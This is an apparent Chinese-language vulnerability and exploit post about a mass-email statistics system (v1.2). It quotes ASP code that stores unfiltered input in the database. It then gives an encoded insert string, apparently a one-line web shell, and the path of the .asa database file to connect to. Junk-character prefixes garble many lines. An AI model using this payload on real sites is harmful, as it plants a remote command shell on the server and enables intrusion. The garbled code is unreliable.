铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

IF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
7 Z5 v8 y  U0 l3 S1 q$ M4 L# XIF Countss ("tui","Fenlei",ID )<>0 then
'略
  i$ u. u* {3 v1 N+ o5 XIF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
. T) u0 o6 ^  a& c3 fSet Rs=Server.CreateObject("adodb.Recordset")
* K5 J* T2 F9 n1 V* w$ {2 }9 iSql="Select * From Fenlei Order by id Desc "
- {$ R4 Q6 y+ ]9 T1 I$ x1 XRs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
" |/ _% i! a% s- D, V1 l'略
+ L( Y- }7 U5 T% H* N1 r3 |Set Rs=Server.CreateObject("adodb.Recordset")
( t$ `; x8 v' o( F& gSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
5 o5 K) l- n+ D& K0 K4 _% R'略
%>


3 u' S; E' B5 w8 E2 H7 _
; v1 M9 }9 H' i9 V5 M, h没有过滤，直接写入数据库。

. W# [7 y7 V) A2 h9 r9 G; h% ?8 h利用方法：

4 U1 o' V, \  C% B* N! y% x插入：┼攠數畣整爠煥敵瑳∨≡┩>


连接： http://www.xxx.com/###tongbaner.asa
/ U' I" Q; T" A'默认安装文件：
'install.asp
/ ]3 G) X% |7 N7 O! K& e# j' ?